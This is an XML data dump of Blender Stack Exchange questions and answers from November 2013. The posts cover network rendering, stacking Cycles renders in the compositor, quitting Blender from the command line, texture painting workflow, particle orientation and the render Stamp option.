  <row Id="5015" PostTypeId="2" ParentId="5010" CreationDate="2013-11-20T16:12:15.237" Score="8" Body="&lt;p&gt;EDIT: If you can use a network drive, there's an EVEN EASIER solution. Render all the frames on all the computers to the same network location and with exactly the same naming convention, but turn 'Overwrite' off, and turn 'Placeholders' on. Done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first computer that is able to render a frame will create an empty placeholder file. When another computer tries to render that same frame, it will see the placeholder and skip to the next frame. If you want to re-render specific frames, just delete them from the network drive and restart the render on any or all of the computers (they always move forward, they'll never look back to see if an old frame got removed). This automatically balances the load, and require almost no setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earlier answer: I think there's an even easier way, without knowing more about exactly what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're assuming that your computers are roughly equally matched, you can use the offset in the render panel. If you have three computers, have one start on frame 1 with an offset of 3, the next on frame 2 with an offset of 3, and the third on frame 3 with an offset of 3. Each computer will render every third frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is less helpful if you need to batch render specific frames that aren't evenly spaced...&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2013-11-20T19:05:18.960" LastActivityDate="2013-11-20T19:05:18.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5016" PostTypeId="2" ParentId="5004" CreationDate="2013-11-20T19:35:29.043" Score="6" Body="&lt;p&gt;You can also use the lasso select tool by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;, left clicking and dragging:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3ASCq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-11-20T19:35:29.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5017" PostTypeId="1" AcceptedAnswerId="5018" CreationDate="2013-11-20T20:51:04.950" Score="13" ViewCount="3846" Body="&lt;p&gt;There's a blog post going around about a plugin that uses ImageMagick to stack Cycles renders together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't we do this in the compositor, and with a still frame?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a way to &quot;get ahold of&quot; the image that's in the buffer before it gets refreshed?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a way to average that image with the next refresh IN the compositor?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've tried separating RGB, adding the components and dividing by two, and re-combining the RGB, but I think there's some clipping going on because that makes a very dark image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's relatively easy to animate the seed value, render a bunch of the same image, and average them together in GIMP, and that looks nice, but can we do this in the compositor and/or as we're rendering? I.e. average one sample with the previous one.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="599" LastEditDate="2013-11-21T23:19:12.993" LastActivityDate="2014-07-10T15:01:11.623" Title="Stacking cycles renders in the compositor?" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5018" PostTypeId="2" ParentId="5017" CreationDate="2013-11-20T20:57:40.127" Score="11" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Output#File_Output_Node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;File Output&lt;/em&gt;&lt;/a&gt; node to do this, however there are some issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node setup: (click for full size)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ntHBO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ntHBO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pink highlighted value in the &lt;em&gt;Math&lt;/em&gt; node is a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph/Drivers&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Driver&lt;/em&gt;&lt;/a&gt; that returns the current frame number. You can quickly create this driver by typing &lt;code&gt;#frame&lt;/code&gt; in the value field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1uY9P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do this for the &lt;em&gt;Seed&lt;/em&gt; value in &lt;em&gt;Render settings &gt; Sampling&lt;/em&gt; as a quicker way to get a different seed each frame than animating.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Creating:&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the composite nodes and &lt;code&gt;#frame&lt;/code&gt; drivers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;file output&lt;/em&gt; node &lt;em&gt;Base Path&lt;/em&gt; to a directory that is &lt;strong&gt;not&lt;/strong&gt; the main output location set in &lt;em&gt;Render settings &gt; Output&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Optional&lt;/em&gt;. Change the subpath (i.e. the name, though you if you have &lt;code&gt;/&lt;/code&gt; or, in case of Windows, &lt;code&gt;\&lt;/code&gt; characters in the subpath field, blender will create new sub-directories accordingly.) of the output image slot by selecting the &lt;em&gt;file output&lt;/em&gt; node and pressing &lt;kbd&gt;N&lt;/kbd&gt;&lt;em&gt;&gt; Properties region &gt; Properties &gt; File path&lt;/em&gt; in the &lt;em&gt;Node editor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wZ43j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render the first frame. All that is actually necessary is that a file called &lt;code&gt;image0001.png&lt;/code&gt; (where &lt;code&gt;image&lt;/code&gt; is the subpath of the output image slot in the &lt;em&gt;File output&lt;/em&gt; node, &lt;code&gt;0001&lt;/code&gt; is the scene &lt;em&gt;Start frame&lt;/em&gt;, and &lt;code&gt;.png&lt;/code&gt; is the file extension for the output format selected in the &lt;em&gt;File output&lt;/em&gt; node) is created in the location specified in the &lt;em&gt;file output&lt;/em&gt; node.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;em&gt;Open&lt;/em&gt; on the &lt;em&gt;Image&lt;/em&gt; node and navigate to the placeholder file in the &lt;em&gt;File output&lt;/em&gt; node output location, and click open.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the image source to &lt;em&gt;Image sequence&lt;/em&gt;, set &lt;em&gt;Frames&lt;/em&gt; to the number of frames in the scene and set &lt;em&gt;Offset&lt;/em&gt; to &lt;code&gt;-1&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render the animation (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The last frame in the output location specified in the &lt;em&gt;File output&lt;/em&gt; node will be the finished image.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;How it works:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This node setup uses &lt;a href=&quot;https://blender.stackexchange.com/a/3723/599&quot;&gt;this solution&lt;/a&gt; for averaging the images:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you render 5 images with 10 samples each, the second image should be mixed with the first with a factor of &lt;code&gt;.5&lt;/code&gt; (or an alpha of &lt;code&gt;50%&lt;/code&gt;). This will effectively result in a &lt;code&gt;20&lt;/code&gt; sample image (as you pointed out, it's not quite the same as 20 rendered samples, but it's reasonably close), so the second image should be mixed with a factor of &lt;code&gt;.33&lt;/code&gt; (alpha of &lt;code&gt;33%&lt;/code&gt;) and so on.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The node setup uses the &lt;em&gt;File Output node&lt;/em&gt; to output the averaged result of the previous frame and the next frame to a separate directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The images written to that directory are read by the &lt;em&gt;Image sequence&lt;/em&gt; node on the next frame and used for averaging with the now current frame. The result is again written to that location with the &lt;em&gt;file output&lt;/em&gt; node, read again, averaged with the current frame, written again, and so on. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Problems:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;On the first frame there is no image for the image sequence node to read, this should not be a problem since on frame one the mix factor is &lt;code&gt;1/1 = 1&lt;/code&gt; so only the raw render will be used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is a &lt;a href=&quot;http://developer.blender.org/T37562&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug/limitation&lt;/a&gt; that causes the file output node to output a completely transparent (or black if you are only saving RGB channels) image for frame one, due to the lack of an image for the image sequence node to read. The image sequence node then gives a transparent result, which sets the transparency of the mixed result to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/q/2376/599&quot;&gt;this related post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This causes a problem next frame when the image is mixed with the false black/transparent image, which causes darkening/decrease in opacity. This darkening will be quickly mixed out to be unnoticeable in subsequent frames, but it does mean that the image is not 100% accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround, you can either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Mask&lt;/em&gt; node and an &lt;em&gt;Alpha Over&lt;/em&gt; node to to ensure the top input of the &lt;em&gt;Mix&lt;/em&gt; node is always filled and always 100% opaque: (click for full size)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XnDSD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XnDSD.png&quot; alt=&quot;node setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or render the first frame by itself and replace the incorrect black image with the raw render of the first frame manually. Then render the animation starting from frame &lt;code&gt;2&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Result:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Rendering &lt;code&gt;15&lt;/code&gt; frames at &lt;code&gt;10&lt;/code&gt; samples gives this result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A single &lt;code&gt;10&lt;/code&gt; sample frame:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQSQD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final combined result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AvXJz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 150 sample render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kcnCN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-11-22T01:29:42.230" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5019" PostTypeId="1" CreationDate="2013-11-20T22:44:27.823" Score="1" ViewCount="972" Body="&lt;p&gt;Is there a way to quit blender from the command line?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;killall -s QUIT blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, blender does not quit the same way as it does when pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Q&lt;/kbd&gt;, and no &lt;code&gt;quit.blend&lt;/code&gt; is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to properly and politely quit blender (with a saved &lt;code&gt;quit.blend&lt;/code&gt;) from the command line?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-11-21T01:01:45.810" Title="Is it possible to quit blender from the command line?" Tags="&lt;command-line&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5020" PostTypeId="5" CreationDate="2013-11-20T23:26:35.080" Score="0" Body="&lt;p&gt;Texturing is the process of applying a 2D image or pattern onto a 3D model to add extra detail. Textures can affect and influence almost any property of a material including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;base diffuse color&lt;/li&gt;&#xA;&lt;li&gt;specularity&lt;/li&gt;&#xA;&lt;li&gt;transparency&lt;/li&gt;&#xA;&lt;li&gt;reflectivity&lt;/li&gt;&#xA;&lt;li&gt;emission &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Normal maps can used to affect the light and add fake &quot;bumps&quot; to the surface of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information check out the Blender Manual pages on texturing in &lt;a href=&quot;http://www.blender.org/manual/render/blender_render/textures/introduction.html&quot; rel=&quot;nofollow&quot;&gt;Blender Internal&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/manual/render/cycles/nodes/introduction.html#textures&quot; rel=&quot;nofollow&quot;&gt;Cycles&lt;/a&gt;, as well as some general info on &lt;a href=&quot;https://en.wikipedia.org/wiki/Texture_mapping&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="599" LastEditDate="2015-06-03T08:14:53.173" LastActivityDate="2015-06-03T08:14:53.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5021" PostTypeId="4" CreationDate="2013-11-20T23:26:35.080" Score="0" Body="Questions relating to Blenders texturing tools and texturing techniques." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-11-20T23:26:35.080" LastActivityDate="2013-11-20T23:26:35.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5022" PostTypeId="2" ParentId="5019" CreationDate="2013-11-20T23:53:56.280" Score="2" Body="&lt;p&gt;I think you could try with &lt;code&gt;wmctrl&lt;/code&gt; instead of &lt;code&gt;kill&lt;/code&gt;. However it's behavior may be application and windows manager dependant.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wmctrl -xc &amp;lt;WIN&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By default, &lt;code&gt;&amp;lt;WIN&amp;gt;&lt;/code&gt; is treated as string to be searched in window title (&lt;code&gt;wmctrl -c blender&lt;/code&gt; will close any window containing &quot;&lt;code&gt;blender&lt;/code&gt;&quot; in the title). With &lt;code&gt;-x&lt;/code&gt;, it will be interpreted as window class, so this invocation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wmctrl -xc blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... only closes any window having &quot;&lt;code&gt;blender&lt;/code&gt;&quot; as its class name, which is usually Blender itself.&lt;/p&gt;&#xA;" OwnerUserId="1610" LastEditorUserId="185" LastEditDate="2013-11-21T01:01:45.810" LastActivityDate="2013-11-21T01:01:45.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5023" PostTypeId="1" CreationDate="2013-11-21T00:39:07.257" Score="6" ViewCount="3961" Body="&lt;p&gt;I am a little bit confused about the best workflow for texture painting in blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender internal has nice ways to do that. Is it possible to paint a color texture in blender internal, use another texture for bump maps etc., work with different uv maps, and then to transfer it to cycles? (perhaps with baking in blender internal first?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is your proposal? I actual don't know the best workflow.&lt;/p&gt;&#xA;" OwnerUserId="1623" LastEditorUserId="12" LastEditDate="2013-11-21T02:37:48.170" LastActivityDate="2013-11-21T21:59:35.080" Title="What is the best workflow for texture painting?" Tags="&lt;workflow&gt;&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" CommunityOwnedDate="2013-11-21T00:47:19.130" ContentLicense="CC BY-SA 3.0" />
  <row Id="5024" PostTypeId="1" AcceptedAnswerId="5028" CreationDate="2013-11-21T03:36:45.013" Score="8" ViewCount="10555" Body="&lt;p&gt;I have a plane with a particle system with display type &lt;em&gt;Group&lt;/em&gt;. Is it possible to keep particles oriented along plane (1st pic) when I rotate the plane? I'm getting particles as in 2nd picture and that's not what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W9zjh.jpg&quot; alt=&quot;particle&amp;#39;s orientation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what I want to get after rotating&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FnU4K.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="782" LastEditorUserId="599" LastEditDate="2013-11-21T03:57:13.370" LastActivityDate="2013-11-21T04:11:24.173" Title="Is it possible to keep particles orientation relative to the emitter when the emitter is rotated?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5026" PostTypeId="1" CreationDate="2013-11-21T04:00:46.637" Score="3" ViewCount="2258" Body="&lt;p&gt;When I edit my textures (color, spec, normal etc.) in cycles I can only see the texture that I am currently editing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes when I edit one specific texture, e.g. when I edit the bumpmap, I want to see all the other textures to get the best result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender internal it is possible by using GLSL shading. Is there a way to do that in cycles as well? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All textures are mixed with mix nodes. The last mix node is connected to a &lt;em&gt;Shader Output&lt;/em&gt; node. Cycles renders everything correctly, therefore the node setup is okay. However, I cannot see all textures together in 3D View.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me?&lt;/p&gt;&#xA;" OwnerUserId="1623" LastEditorUserId="599" LastEditDate="2013-11-21T06:32:10.793" LastActivityDate="2013-12-11T21:36:33.163" Title="How to edit textures with texture paint in Cycles like GLSL in Blender internal?" Tags="&lt;cycles-render-engine&gt;&lt;3d-view&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5028" PostTypeId="2" ParentId="5024" CreationDate="2013-11-21T04:11:24.173" Score="8" Body="&lt;p&gt;You have to check &lt;strong&gt;Rotation&lt;/strong&gt;, to make the particle system uses the dupli object's rotation. Using this setting, particle orientation can be tweaked by rotating the dupli object itself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nfx70.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, give one of the object's local axis as the particle system's initial rotation. This way, any new particle will be oriented to that axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RdeNX.png&quot; alt=&quot;2a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now any new emitted particle will always be correctly oriented:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q3Ayp.png&quot; alt=&quot;3a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-21T04:11:24.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5029" PostTypeId="1" AcceptedAnswerId="5030" CreationDate="2013-11-21T13:11:09.357" Score="4" ViewCount="592" Body="&lt;p&gt;I am working on a project right now, and during the render process I noticed a little check box that says stamp.&lt;br&gt;&#xA;When I selected the drop down menu it had a bunch of selections the refer to text and font, and things like that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My scene has text in it, and I was wondering what this section does, and how it is applicable to text scenes.&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="599" LastEditDate="2013-11-21T21:43:13.717" LastActivityDate="2019-01-17T16:03:33.550" Title="What does the stamp drop down menu in the render panel do?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5030" PostTypeId="2" ParentId="5029" CreationDate="2013-11-21T13:26:09.720" Score="8" Body="&lt;p&gt;The &lt;em&gt;Stamp&lt;/em&gt; section in the &lt;em&gt;Render&lt;/em&gt; panel goal is used to draw some information on the render output. This can be useful for a work in progress production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Reference/Panels/Scene/Render/Stamp&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you can select &lt;em&gt;Frame&lt;/em&gt; to print the current frame number on the final output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Font size&lt;/em&gt;, &lt;em&gt;Text color&lt;/em&gt; and &lt;em&gt;Background&lt;/em&gt; settings allow you to control how this information is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can additionally print a custom note by checking the &lt;em&gt;Note&lt;/em&gt; setting and writing whatever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gmjM2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="599" LastEditDate="2013-11-21T21:46:13.297" LastActivityDate="2013-11-21T21:46:13.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5031" PostTypeId="2" ParentId="4972" CreationDate="2013-11-21T14:19:49.867" Score="3" Body="&lt;p&gt;It's probably better to do it with a displacement modifier (like Leon said), but it is possible to create a &quot;mountain&quot; with just materials in Blender Internal (the only issue is you can only see it when it is rendered).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewport:&#xA; &lt;img src=&quot;https://i.stack.imgur.com/p7g5j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendered:&#xA; &lt;img src=&quot;https://i.stack.imgur.com/VVo6w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick is to use the displacement slider under geometry in the textures tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1NhoY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do the same thing in Cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MrmmB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The node setup:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tIHfT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure when you do it in cycles to enable experimental settings in the properties, and to set the displacement to &lt;em&gt;true&lt;/em&gt; in the &lt;em&gt;object data&lt;/em&gt; tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wfpmc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-11-23T21:54:00.983" LastActivityDate="2013-11-23T21:54:00.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5032" PostTypeId="2" ParentId="5023" CreationDate="2013-11-21T16:54:59.103" Score="6" Body="&lt;p&gt;It really depends on a lot of things, what you're texturing, how much more work you have to do on it, etc, but the workflow I generally find useful is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Finish all the modeling&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unwrap the mesh&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the texture painting features in Blender to paint really basic colors onto the model (this gives you a &quot;map&quot; of sorts, which makes the next step easier)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Export the UVs as an image that you can overlay on the basic diffuse map you just made&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Export that basic diffuse map to an image that you can paint on in GIMP or PS.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In GIMP or PS, adjust the UV layout image such that you can lay it over your diffuse map so that you have a more precise understanding of what goes where.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Paint on the diffuse layer, but &lt;strong&gt;under&lt;/strong&gt; the layer with the UV layout on it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use that diffuse map to generate bump and spec maps. Usually, I completely desaturate the diffuse map and adjust that until it makes sense as a bump map, and then do the same thing until it makes sense as a spec map, but it's really common that your diffuse map will not be useful that way, in which case:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat steps 6 &amp;amp; 7 to paint spec and bump maps.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Import those into Blender.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;???&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;profit&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: it's really easy to port images from BI to Cycles, if you understand how they work. The diffuse image will &quot;noodle&quot; into the color input of a diffuse shader, and the bump will &quot;noodle&quot; into the displacement input of the final material output node (though you might want to us some ramps and other stuff to fine-tune it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The spec one will be the hardest to figure out, because you could do it a couple of different ways, and they will give different results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should always (except for specific situations) use a diffuse shader and a glossy shader. The spec map can either drive the COLOR of the spec shader (grayscale), or the GLOSSINESS of the glossy shader, or the FAC value of a mix shader that mixes between a glossy shader and your diffuse shader. Each of these will give different results, so you should experiment and see which looks better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus: A color image should never go in the color input of a glossy shader. Except for a few rare exceptions, like certain metals, the spec map will be totally grayscale. Even with metals, you probably won't use an image, you'll just set a single color.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="599" LastEditDate="2013-11-21T21:59:35.080" LastActivityDate="2013-11-21T21:59:35.080" CommentCount="4" CommunityOwnedDate="2013-11-21T16:54:59.103" ContentLicense="CC BY-SA 3.0" />
  <row Id="5034" PostTypeId="1" CreationDate="2013-11-21T18:36:01.787" Score="5" ViewCount="3522" Body="&lt;p&gt;I know that in Blender we have a plugin called LightTools (or Lightfield Tools). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It basically adds a grid created from simple mesh, a bunch of lamps, and also some camera. I understand what it is doing, because I can investigate the scene in Blender, but what this is all about? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the benefits, usage examples, and what is an overall income from using this script?&lt;br&gt;&#xA;I was unable to find the answer with google.&lt;/p&gt;&#xA;" OwnerUserId="1616" LastEditorUserId="599" LastEditDate="2013-11-21T19:31:14.293" LastActivityDate="2015-12-05T02:08:00.570" Title="What is &quot;Lightfield tools&quot; plugin for?" Tags="&lt;add-on&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5035" PostTypeId="1" AcceptedAnswerId="5047" CreationDate="2013-11-19T21:29:47.527" Score="7" ViewCount="1689" Body="&lt;p&gt;How can I move the user perspective in Blender with Python? I did some research, but I wasn't able, to find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For clarification: I want to move the user camera in the 3D view. I want to achieve the same effect as the user pressing his middle mouse button and moving the mouse.&lt;/p&gt;&#xA;" OwnerDisplayName="user1665" LastEditorUserId="1363" LastEditDate="2014-02-15T15:12:14.250" LastActivityDate="2014-02-15T15:12:14.250" Title="Moving user perspective in Blender with Python" Tags="&lt;python&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
